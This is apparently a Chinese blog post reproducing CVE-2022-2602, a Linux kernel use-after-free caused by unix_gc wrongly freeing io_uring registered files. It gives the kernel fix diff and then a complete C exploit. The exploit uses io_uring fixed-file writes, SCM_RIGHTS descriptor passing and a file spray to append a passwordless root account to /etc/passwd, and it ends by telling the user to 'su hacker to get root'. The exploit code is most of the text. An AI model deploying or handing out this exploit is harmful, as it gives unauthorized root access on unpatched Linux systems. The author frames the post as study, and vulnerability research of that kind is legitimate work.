CVE-2022-2602：unix_gc 错误释放 io_uring 注册的文件从而导致的 file UAF

前言

复现该漏洞只是为了学习相关知识，在这里仅仅做简单记录下 exp，关于漏洞的详细内容请参考其他文章，最后在 v5.18.19 内核版本上复现成功，v6.0.2 复现失败

漏洞利用

diff --git a/include/linux/skbuff.h b/include/linux/skbuff.h
index 9fcf534f2d9272..7be5bb4c94b6d8 100644
--- a/include/linux/skbuff.h
+++ b/include/linux/skbuff.h
@@ -803,6 +803,7 @@ typedef unsigned char *sk_buff_data_t;*	@csum_level: indicates the number of consecutive checksums found in*		the packet minus one that have been verified as*		CHECKSUM_UNNECESSARY (max 3)
+ *	@scm_io_uring: SKB holds io_uring registered files*	@dst_pending_confirm: need to confirm neighbour*	@decrypted: Decrypted SKB*	@slow_gro: state present at GRO time, slower prepare step required
@@ -982,6 +983,7 @@ struct sk_buff {#endif__u8			slow_gro:1;__u8			csum_not_inet:1;
+	__u8			scm_io_uring:1;#ifdef CONFIG_NET_SCHED__u16			tc_index;	/* traffic control index */
diff --git a/io_uring/rsrc.c b/io_uring/rsrc.c
index 6f88ded0e7e564..012fdb04ec238e 100644
--- a/io_uring/rsrc.c
+++ b/io_uring/rsrc.c
@@ -855,6 +855,7 @@ int __io_scm_file_account(struct io_ring_ctx *ctx, struct file *file)UNIXCB(skb).fp = fpl;skb->sk = sk;
+		skb->scm_io_uring = 1;skb->destructor = unix_destruct_scm;refcount_add(skb->truesize, &sk->sk_wmem_alloc);}
diff --git a/net/unix/garbage.c b/net/unix/garbage.c
index d45d5366115a76..dc276354039321 100644
--- a/net/unix/garbage.c
+++ b/net/unix/garbage.c
@@ -204,6 +204,7 @@ void wait_for_unix_gc(void)/* The external entry point: unix_gc() */void unix_gc(void){
+	struct sk_buff *next_skb, *skb;struct unix_sock *u;struct unix_sock *next;struct sk_buff_head hitlist;
@@ -297,11 +298,30 @@ void unix_gc(void)spin_unlock(&unix_gc_lock);+	/* We need io_uring to clean its registered files, ignore all io_uring
+	 * originated skbs. It's fine as io_uring doesn't keep references to
+	 * other io_uring instances and so killing all other files in the cycle
+	 * will put all io_uring references forcing it to go through normal
+	 * release.path eventually putting registered files.
+	 */
+	skb_queue_walk_safe(&hitlist, skb, next_skb) {
+		if (skb->scm_io_uring) {
+			__skb_unlink(skb, &hitlist);
+			skb_queue_tail(&skb->sk->sk_receive_queue, skb);
+		}
+	}
+/* Here we are. Hitlist is filled. Die. */__skb_queue_purge(&hitlist);spin_lock(&unix_gc_lock);+	/* There could be io_uring registered files, just push them back to
+	 * the inflight list
+	 */
+	list_for_each_entry_safe(u, next, &gc_candidates, link)
+		list_move_tail(&u->link, &gc_inflight_list);
+/* All candidates should have been detached by now. */BUG_ON(!list_empty(&gc_candidates));

unix_gc 错误释放 io_uring 注册的文件导致的 file UAF

exp 如下：

#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <errno.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sys/sem.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/wait.h>
#include <semaphore.h>
#include <poll.h>
#include <sched.h>
#include <liburing.h>
#include <assert.h>void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}void prepare() {system("touch /tmp/dummy");system("chmod 777 /tmp/dummy");
}static int run_wait_lock = 0;
void* slow_write() {#define PAGE_SIZE 0x1000#define WRITE_PAGE_NUMS 0x3333puts("[+] Start in slow_write");int fd = open("/tmp/dummy", O_RDWR);if (fd < 0) err_exit("FAILED to open /tmp/dummy");uint64_t start_addr = 0x30000000;uint64_t write_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;uint64_t i;for (i = 0; i < WRITE_PAGE_NUMS; i++) {void *addr = mmap((void*)(start_addr+i*PAGE_SIZE), PAGE_SIZE,PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, 0, 0);if (addr == MAP_FAILED) err_exit("mmap");}assert(i > 0);struct iovec iovs[20];for (i = 0; i < 20; i++) {iovs[i].iov_base = (void*)start_addr;iovs[i].iov_len = (WRITE_PAGE_NUMS - 1) * PAGE_SIZE;}puts("[+] Occupying inode lock");run_wait_lock = 1;if (writev(fd, iovs, 20) < 0) {err_exit("write");}close(fd);puts("[+] End in slow_write");puts("[+] Waiting for 10 senonds");sleep(10);exit(0);
}void sendfd(int sfd, int fd) {struct msghdr msg;char control_buf[4096] = { 0 };struct cmsghdr* cmsg;int fds[1] = { fd };memset(&msg, 0, sizeof(msg));msg.msg_control = control_buf;msg.msg_controllen = sizeof(control_buf);cmsg = CMSG_FIRSTHDR(&msg);cmsg->cmsg_level = SOL_SOCKET;cmsg->cmsg_type = SCM_RIGHTS;cmsg->cmsg_len = CMSG_LEN(sizeof(fds));memcpy(CMSG_DATA(cmsg), &fds, sizeof(fds));msg.msg_controllen = CMSG_SPACE(sizeof(fds));sendmsg(sfd, &msg, 0);
}int main() {int s[2];int rfd[2];int io_uring_fd;pthread_t thr1;struct io_uring_sqe* sqe;struct io_uring ring;struct stat st;struct iovec iov[1];int fds[300];int i = 0;bind_core(0);prepare();for (i = 0; i < 300; i++) {if ((fds[i] = open("/etc/passwd", O_RDONLY)) < 0)err_exit("open /etc/passwd");}stat("/etc/passwd", &st);int size = 0;int orig_size = st.st_size;/* hacker::0:0:/root:/root:/bin/sh\n */iov[0].iov_base = "hacker::0:0:/root:/root:/bin/sh\n";iov[0].iov_len = strlen(iov[0].iov_base);// s[0]         ref_count = 1// s[1]         ref_count = 1if (socketpair(AF_UNIX, SOCK_DGRAM, 0, s) < 0) err_exit("sockerpair");// s[0]         ref_count = 1// s[1]         ref_count = 1// io_uring_fd  ref_count = 1// rfd[1]       ref_count = 1io_uring_queue_init(32, &ring, IORING_SETUP_SQPOLL);sqe = io_uring_get_sqe(&ring);printf("[+] sqe: %p\n", sqe);io_uring_fd = ring.ring_fd;printf("[+] io_uring_fd: %d\n", io_uring_fd);if (io_uring_fd < 0) err_exit("io_uring_queue_init");rfd[0] = s[1];rfd[1] = open("/tmp/dummy", O_RDWR|O_APPEND);// s[0]         ref_count = 1// s[1]         ref_count = 2   inflight = 1// io_uring_fd  ref_count = 1// rfd[1]       ref_count = 2// io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}io_uring_register_files(&ring, rfd, 2);sqe->opcode = IORING_OP_WRITEV;sqe->fd = 1;sqe->addr = (long long)iov;sqe->len = 1;sqe->flags = IOSQE_FIXED_FILE;// s[0]         ref_count = 1// s[1]         ref_count = 2   inflight = 1// io_uring_fd  ref_count = 1// rfd[1]       ref_count = 1// io_uring.sk_recvive_queue -> rfd {s[1], rfd[1]}close(rfd[1]);// s[0]         ref_count = 1// s[1]         ref_count = 2   inflight = 1// io_uring_fd  ref_count = 2   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fdsendfd(s[0], io_uring_fd);// s[0]         ref_count = 0 ==> free// s[1]         ref_count = 1   inflight = 1// io_uring_fd  ref_count = 2   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fdclose(s[0]);close(s[1]);// 占据 inode 锁pthread_create(&thr1, NULL, slow_write, NULL);// writev 等待 inode 锁while (!run_wait_lock) {}sleep(2);io_uring_submit(&ring);// s[0]         ref_count = 0 ==> free// s[1]         ref_count = 1   inflight = 1// io_uring_fd  ref_count = 1   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fdio_uring_queue_exit(&ring);puts("[+] Triggering unix_gc");// 触发 unix_gc// s[0]         ref_count = 0 ==> free// s[1]         ref_count = 1   inflight = 1// io_uring_fd  ref_count = 1   inflight = 1// rfd[1]       ref_count = 1// io_uring.sk_receive_queue -> rfd {s[1], rfd[1]}// s[1].sk_receive_queue     -> io_uring_fd// 此时 rfd[1] 被错误的释放 ==> rfd[1]sleep(2);for (i = 0; i < 150; i++) {close(fds[i+2]);}close(socket(AF_UNIX, SOCK_DGRAM, 0));puts("[+] unix_gc done");puts("[+] Spray /etc/passwd file");// 打开大量 /etc/passwd 去占据 uaf_filefor (i = 0; i < 700; i++) {if (open("/etc/passwd", O_RDONLY) < 0) {printf("[X] Error at %d\n", i);err_exit("FAILED to spray file");}}// 等待 writev 获取 inode 锁，从而写 /etc/passwd// 当 /etc/passwd 文件大小发送变化时，说明成功向 /etc/passwd 写入恶意数据puts("[+] Waiting for overwriting /etc/passwd");while (orig_size == st.st_size) {stat("/etc/passwd", &st);size = st.st_size;sleep(1);}puts("[+] su hacker to get root");return 0;
}